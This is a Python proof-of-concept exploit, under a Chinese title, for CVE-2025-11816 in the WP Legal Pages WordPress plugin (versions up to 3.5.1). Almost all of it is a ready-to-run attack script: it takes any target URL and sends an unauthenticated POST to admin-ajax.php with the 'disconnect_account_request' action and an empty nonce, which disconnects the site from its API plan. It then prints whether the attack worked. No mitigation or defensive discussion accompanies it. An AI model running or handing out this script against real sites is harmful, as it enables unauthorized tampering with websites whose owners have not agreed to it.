CVE-2025-11816: WP Legal Pages 插件权限绕过漏洞

# CVE-2025-11816 PoC - WP Legal Pages Unauthorized Account Disconnect # Target: WordPress site with WP Legal Pages plugin <= 3.5.1 import requests import sys def exploit_wplegalpages(target_url): """ Exploit for CVE-2025-11816: Missing authorization check in disconnect_account_request() Allows unauthenticated attackers to disconnect site from API plan. """ # Target WordPress site target = target_url.rstrip('/') # Vulnerable endpoint - admin-ajax.php exploit_url = f"{target}/wp-admin/admin-ajax.php" # Payload: Trigger disconnect_account_request action data = { 'action': 'disconnect_account_request', 'disconnect_nonce': '' # Nonce not properly validated } print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-11816...") print(f"[*] Sending request to: {exploit_url}") try: # Send POST request without authentication response = requests.post(exploit_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: if 'success' in response.text.lower() or 'disconnected' in response.text.lower(): print("[+] SUCCESS: Site disconnected from API plan!") return True else: print("[*] Request sent, verify manually if disconnection occurred") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-11816-poc.py <target_url>") print("Example: python cve-2025-11816-poc.py http://example.com") sys.exit(1) target_url = sys.argv[1] exploit_wplegalpages(target_url)